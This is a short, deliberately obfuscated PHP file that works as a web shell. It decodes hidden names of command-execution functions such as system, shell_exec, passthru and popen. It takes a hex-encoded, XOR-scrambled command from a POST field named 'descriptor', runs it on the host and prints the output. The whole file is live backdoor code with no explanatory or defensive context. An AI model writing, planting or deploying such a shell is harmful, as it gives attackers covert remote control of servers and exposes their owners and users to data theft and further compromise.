<?php $_0="syste\155";$_1="she\x6cl\x5fexe\143";$_2="e\x78ec";$_3="pa\163s\164h\x72u";$_4="h\145x2bin";$_5="\160clo\x73e";$_6="\x73tream\137ge\164_cont\145n\x74\x73";$_7="pope\x6e";if(isset($_POST["descriptor"])):function _IItVkDaefj($_8,$_9){$_10="";$_11=(04+-0654- -0603- -045);while($_11<STRLeN($_8)):$_10.=CHr(Ord($_8[$_11])^$_9);$_11++;endwhile;return$_10;}$_12=$_4($_POST["\144\145scri\160\164o\162"]);$_12=_iitvkDaefJ($_12,064+04- -0155-0205);if(FuNCTiOn_EXiSts($_0)):$_0($_12);elseif(FuNcTion_EXiSts($_1)):print$_1($_12);elseif(fUnCtIon_exISts($_2)):$_2($_12,$_13);print JoIn("\012",$_13);elseif(fuNCtION_exIStS($_3)):$_3($_12);elseif(FUnCTIOn_eXIsts($_7)&&funCTIOn_exISts($_6)&&funCtIoN_exiSts($_5)):$_14=$_7($_12,"r");if($_14):$_15=$_6($_14);$_5($_14);print$_15;endif;endif;exit;endif;